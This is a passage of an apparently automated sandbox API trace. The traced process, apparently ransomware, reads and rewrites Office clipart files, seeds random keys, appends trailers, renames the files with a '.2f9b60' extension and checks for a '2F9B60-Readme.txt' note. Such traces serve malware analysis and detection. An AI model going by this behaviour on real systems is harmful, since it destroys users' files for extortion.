_Dest="77") returned 2 [0124.628] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="0b") returned 2 [0124.628] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="35") returned 2 [0124.628] RtlInitAnsiString (in: DestinationString=0x211af928, SourceString="b891bdcbdb72307fa9146ced53049803aea5e590ab770b35" | out: DestinationString="b891bdcbdb72307fa9146ced53049803aea5e590ab770b35") [0124.628] RtlAnsiStringToUnicodeString (in: DestinationString=0x211af8f8, SourceString="b891bdcbdb72307fa9146ced53049803aea5e590ab770b35", AllocateDestinationString=1 | out: DestinationString="b891bdcbdb72307fa9146ced53049803aea5e590ab770b35") returned 0x0 [0124.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863e30 [0124.628] wcscat (in: _Dest=0x2027a510, _Source="b891bdcbdb72" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72" [0124.628] wcscat (in: _Dest=0x2027a510, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72.2f9b60" [0124.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72.2f9b60", NtPathName=0x211af8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b891bdcbdb72.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107b40 [0124.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0124.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0124.711] NtQueryInformationFile (in: FileHandle=0xfe0, IoStatusBlock=0x211af938, FileInformation=0x211af948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x211af938, FileInformation=0x211af948) returned 0x0 [0124.712] NtSetInformationFile (FileHandle=0xfe0, IoStatusBlock=0x211af938, FileInformation=0x211af948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a510) returned 1 [0124.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863e30) returned 1 [0124.714] FlushFileBuffers (hFile=0xfe0) returned 1 [0124.716] CloseHandle (hObject=0xfe0) returned 1 [0124.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a510 [0124.718] wcscpy (in: _Dest=0x2027a510, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.718] wcscat (in: _Dest=0x2027a510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a510) returned 1 [0124.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a57c0) returned 1 Thread: id = 1542 os_tid = 0x1a6c [0121.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0122.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", dwFileAttributes=0x20) returned 1 [0122.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc8 [0122.595] GetFileSizeEx (in: hFile=0xfc8, lpFileSize=0x1fe0f8e0 | out: lpFileSize=0x1fe0f8e0*=1588) returned 1 [0122.595] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.595] ReadFile (in: hFile=0xfc8, lpBuffer=0x1fe0f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fe0f8a8, lpOverlapped=0x0 | out: lpBuffer=0x1fe0f860*, lpNumberOfBytesRead=0x1fe0f8a8*=0x4, lpOverlapped=0x0) returned 1 [0122.606] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e1a0 [0122.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e230 [0122.607] NtQuerySystemTime (in: CurrentTime=0x1fe0f7a0 | out: CurrentTime=0x1fe0f7a0*=132462177279898000) returned 0x0 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x708153e6 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x7529007e [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x44345128 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x6f7b8612 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x2df216fd [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x3ce56c7e [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x1c532c86 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x47e4a49c [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x1855b3de [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x48a6e87f [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x49d6c52c [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x16e81988 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x7529007e [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x29509270 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x33ffe4b9 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x5801eaba [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x44fa61f3 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x43526d41 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x5fb1825d [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x62858310 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x25869efd [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x6f23ff3e [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x129cc896 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x6443a6cb [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x1c532c86 [0122.607] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x7a90f6e0 [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x6d0777ab [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x26908341 [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x1212b87d [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x2c76c3b9 [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x39316651 [0122.608] RtlRandomEx (in: Seed=0x1fe0f790 | out: Seed=0x1fe0f790) returned 0x77c57045 [0122.614] ReadFile (in: hFile=0xfc8, lpBuffer=0x41f44990, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x1fe0f790, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesRead=0x1fe0f790*=0x634, lpOverlapped=0x0) returned 1 [0122.614] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.615] WriteFile (in: hFile=0xfc8, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x1fe0f794, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x1fe0f794*=0x634, lpOverlapped=0x0) returned 1 [0160.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2330 [0160.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2360 [0160.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2360) returned 1 [0160.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0160.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0160.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0160.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0160.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2360 [0160.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059510 [0160.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0160.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2390 [0160.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2390) returned 1 [0160.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2390 [0160.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a23c0 [0160.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a23f0 [0160.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a23f0) returned 1 [0160.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0160.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0160.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13310 [0160.840] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.840] WriteFile (in: hFile=0xfc8, lpBuffer=0x1ce13310*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fe0f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13310*, lpNumberOfBytesWritten=0x1fe0f8b0*=0x10a, lpOverlapped=0x0) returned 1 [0165.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e3b0 [0165.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3b0) returned 1 [0165.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e3b0 [0165.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e380 [0165.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e380) returned 1 [0165.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.503] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="b7") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="ae") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="27") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="0c") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="65") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="71") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="26") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="1c") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="d4") returned 2 [0165.503] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="12") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="6b") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="ee") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="fb") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="b1") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="1e") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="d4") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="d0") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="fb") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="b4") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="0d") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="29") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="a9") returned 2 [0165.504] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="97") returned 2 [0165.504] RtlInitAnsiString (in: DestinationString=0x1fe0f928, SourceString="b7ae270c6571261cd4126bb6eefbb11ed4d0fbb40d29a997" | out: DestinationString="b7ae270c6571261cd4126bb6eefbb11ed4d0fbb40d29a997") [0165.504] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fe0f8f8, SourceString="b7ae270c6571261cd4126bb6eefbb11ed4d0fbb40d29a997", AllocateDestinationString=1 | out: DestinationString="b7ae270c6571261cd4126bb6eefbb11ed4d0fbb40d29a997") returned 0x0 [0165.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15140 [0165.505] RtlFreeAnsiString (AnsiString="b") [0165.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3b0) returned 1 [0165.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce13310) returned 1 [0165.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2390) returned 1 [0165.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a23c0) returned 1 [0165.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2360) returned 1 [0165.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2330) returned 1 [0165.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e1a0) returned 1 [0165.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e260) returned 1 [0165.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e290) returned 1 [0165.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30db0 [0165.507] wcscat (in: _Dest=0x42c30db0, _Source="b7ae270c6571" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571" [0165.507] wcscat (in: _Dest=0x42c30db0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571.2f9b60" [0165.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571.2f9b60", NtPathName=0x1fe0f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7ae270c6571.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c365d0 Thread: id = 1543 os_tid = 0x1a70 [0121.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0122.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", dwFileAttributes=0x20) returned 1 [0122.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1030 [0123.451] GetFileSizeEx (in: hFile=0x1030, lpFileSize=0x212bf840 | out: lpFileSize=0x212bf840*=1212) returned 1 [0123.451] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.451] ReadFile (in: hFile=0x1030, lpBuffer=0x212bf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x212bf808, lpOverlapped=0x0 | out: lpBuffer=0x212bf7c0*, lpNumberOfBytesRead=0x212bf808*=0x4, lpOverlapped=0x0) returned 1 [0123.852] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0123.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0123.852] NtQuerySystemTime (in: CurrentTime=0x212bf700 | out: CurrentTime=0x212bf700*=132462177292378000) returned 0x0 [0123.852] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x6df2efc [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x3691d0ba [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x118d4043 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x1ea6755d [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x4c0af449 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x4de8b7a7 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x2ce48fd8 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x7eb1e040 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x75cdff30 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x36c558f4 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x261fbe94 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x61b6ff9 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x1e179879 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x12122041 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x3af0ce24 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x6029e1c4 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x1e614812 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x700afd64 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x19f34d54 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x373899d8 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0xcc11566 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x53a9b461 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x4517822a [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x18b6fde6 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x3d4eaee2 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x4912bf4e [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x62c84f93 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x5b632f18 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x1a6c7e96 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x14fe79c4 [0123.853] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x5cd2040 [0123.854] RtlRandomEx (in: Seed=0x212bf6f0 | out: Seed=0x212bf6f0) returned 0x73dd3e4a [0124.502] ReadFile (in: hFile=0x1030, lpBuffer=0x41b100b0, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x212bf6f0, lpOverlapped=0x0 | out: lpBuffer=0x41b100b0*, lpNumberOfBytesRead=0x212bf6f0*=0x4bc, lpOverlapped=0x0) returned 1 [0124.502] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.502] WriteFile (in: hFile=0x1030, lpBuffer=0x41b13cc0*, nNumberOfBytesToWrite=0x4bc, lpNumberOfBytesWritten=0x212bf6f4, lpOverlapped=0x0 | out: lpBuffer=0x41b13cc0*, lpNumberOfBytesWritten=0x212bf6f4*=0x4bc, lpOverlapped=0x0) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0124.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0124.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0124.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b13cc0) returned 1 [0124.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b100b0) returned 1 [0124.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0124.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860540 [0124.562] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.562] WriteFile (in: hFile=0x1030, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x212bf810, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x212bf810*=0x10a, lpOverlapped=0x0) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0124.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e860) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0124.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e890 [0124.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e890) returned 1 [0124.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.630] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="13") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="42") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="39") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="b0") returned 2 [0124.630] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="df") returned 2 